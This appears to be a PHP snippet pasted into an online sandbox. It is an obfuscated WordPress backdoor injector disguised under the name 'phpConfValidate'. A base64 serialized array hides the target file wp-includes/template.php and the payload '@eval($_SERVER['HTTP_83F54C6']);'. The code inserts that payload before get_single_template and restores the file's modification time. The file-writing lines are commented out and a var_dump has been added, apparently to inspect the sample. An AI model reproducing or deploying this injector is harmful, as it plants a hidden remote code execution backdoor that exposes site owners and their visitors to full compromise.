PHPize Online / SQLize Online  /  SQLtest Online

A A A
Share      Blog   Popular
Copy Format Clear
Copy Clear
Copy Format Clear
<?php phpConfValidate('YTo0OntpOjA7czo0ODoiL2hvbWUvZWR1Y28vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvdGVtcGxhdGUucGhwIjtpOjE7czo3OiI4M0Y1NEM2IjtpOjI7czozMjoiQGV2YWwoJF9TRVJWRVJbJ0hUVFBfODNGNTRDNiddKTsiO2k6MztzOjM3OiJ+XlxzKmZ1bmN0aW9uXHMrZ2V0X3NpbmdsZV90ZW1wbGF0ZX5tIjt9'); function phpConfValidate($ser) { var_dump(unserialize(base64_decode($ser))); list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser)); $source = file_get_contents($fullPath); if (strstr($source, $systemEnv) !== false) { return; } if (!preg_match($pattern, $source, $matches)) { return; } $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source); if (strstr($newSource, $systemEnv) === false) { return; } // $filemtime = filemtime($fullPath) + 10; // unlink($fullPath); // file_put_contents($fullPath, $newSource); // touch($fullPath, $filemtime); }
Show:  
Copy Clear